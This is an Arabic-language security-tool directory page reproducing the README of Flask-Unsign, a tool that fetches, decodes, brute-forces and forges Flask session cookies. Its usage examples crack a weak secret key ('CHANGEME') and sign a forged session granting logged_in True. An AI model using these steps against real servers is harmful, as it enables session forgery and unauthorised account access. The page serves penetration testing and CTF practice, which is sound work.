Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Flask-Unsign — أداة سطر أوامر لجلب وفك ترميز واختراق بالقوة العمياء وصياغة ملفات تعريف ارتباط الجلسة لتطبيق Flask عن طريق تخمين المفاتيح السرية. | Kitploit
أدوات/GitHubGitHub/paradoxis/flask-unsign
هجمات كلمات المروراستغلال تطبيقات الويبCTFاختبار الاختراق
GitHubparadoxis/flask-unsign

Flask-Unsign

أداة سطر أوامر لجلب وفك ترميز واختراق بالقوة العمياء وصياغة ملفات تعريف ارتباط الجلسة لتطبيق Flask عن طريق تخمين المفاتيح السرية.

عرض المستودع
660483منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Flask Unsign

Build Status PyPI version codecov

أداة سطر أوامر لجلب ملفات تعريف ارتباط الجلسة (session cookies) لتطبيق Flask وفك ترميزها وتخمين مفاتيحها السرية وصياغتها عبر تخمين المفاتيح السرية. لمكوّن قائمة الكلمات المستقل، يرجى زيارة مستودع flask-unsign-wordlist.

المتطلبات

  • Python 3.6+

التثبيت

لتثبيت التطبيق، ما عليك سوى استخدام pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

إذا كنت تريد تثبيت الكود الأساسي فقط، فاحذف اللاحقة [wordlist]:

root@kitploit:~
$ pip3 install flask-unsign

لتثبيت الأداة لأغراض التطوير، نفّذ الأمر التالي (بعد تنزيل نسخة):

root@kitploit:~
$ pip3 install -e .[test]

الاستخدام

للحصول على نظرة عامة على جميع الخيارات الممكنة، ما عليك سوى استدعاء flask-unsign بدون أي وسائط كما يلي:

root@kitploit:~
$ flask-unsign

الحصول على ملفات تعريف ارتباط الجلسة وفك ترميزها

نظرًا لأن ملفات تعريف ارتباط Flask موقّعة وغير مشفرة، فمن الممكن فك ترميز بيانات الجلسة محليًا. لهذا، يمكنك استخدام الوسيط --decode.

يمكن الحصول على ملفات تعريف ارتباط الجلسة من خلال فحص طلبات HTTP الخاصة بك باستخدام وكيل مثل Burp Proxy، أو استخدام مُفتِّح الشبكة في متصفحك، أو استخدام إضافة متصفح لعرض/تغيير ملفات تعريف الارتباط الخاصة بك. افتراضيًا، يستخدم Flask اسم الجلسة "session".

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

يمكنك أيضًا استخدام وظيفة الالتقاط التلقائي للجلسة في Flask-Unsign بتمرير الوسيط --server بدلاً من الوسيط --cookie. مع ذلك، لاحظ أنه قد لا تعرض جميع صفحات الويب جلسة، لذا تأكد من تمرير رابط يعرضها.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

إلغاء التوقيع (تخمين المفاتيح السرية)

بعد الحصول على عينة من ملف تعريف ارتباط الجلسة، ستتمكن من محاولة تخمين المفتاح السري للخادم بهجوم القوة العمياء. إذا كنت محظوظًا، فقد يكون معينًا على قيمة يسهل تخمينها، أو إذا كان قد وُجد على الإنترنت، فقد يكون في إحدى قوائم الكلمات لديك. لهذا، يمكنك استخدام الوسيط --unsign.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

التوقيع (التلاعب بالجلسة)

بمجرد حصولك على المفتاح السري للخادم، ستتمكن من صياغة بيانات الجلسة المخصصة الخاصة بك. لهذا، يمكنك استخدام الوسيط --sign.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

استكشاف الأخطاء وإصلاحها

  • تثبيت البرنامج يؤدي إلى خطأ
    • قد تكون تستخدم ملف pip الثنائي الخاطئ، جرّب استخدام الأمر التالي: python3.6 -m pip install flask-unsign
  • لقد وجدت مفتاحًا سريًا، لكن جلساتي المصاغة لا تعمل!
    • من المحتمل أن خادمك الهدف يستخدم إصدارًا أقدم من itsdangerous. بسبب مشكلة في الجلسات الموقوتة، تم تغيير خوارزمية توليد الطابع الزمني. لتوليد توقيع أقدم، جرّب استخدام الخيار --legacy.
  • قائمة الكلمات الخاصة بي لا تعمل
    • تتوقع قوائم الكلمات أن تكون سلاسل Python مفصولة بأسطر جديدة (بمعنى أنك تحتاج إلى وضعها بين علامتي اقتباس)، وذلك حتى يمكن تخزين السلاسل الثنائية بسهولة بتنسيق أسطر جديدة. إذا كنت لا تريد ذلك، يمكنك تعطيل هذه الميزة بتمرير الوسيط --no-literal-eval.

كيف يعمل

إذا كنت تتساءل عن كيفية عمل ذلك بالضبط، فراجع مقالتي على المدونة التي تشرح ذلك بتفصيل كبير، بما في ذلك دليل حول كيفية حماية خادمك من هذا الهجوم.

الترخيص

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج والملفات المرتبطة به (البرنامج)، للتعامل في البرنامج دون قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص من الباطن و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج بالقيام بذلك، وفقًا للشروط التالية:

يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.

البرنامج مُقدَّم "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال، لا يكون المؤلفون أو أصحاب حقوق النشر مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء كانت ناشئة عن عقد أو ضرر أو غير ذلك، تنشأ عن أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.

تنزيل الأداة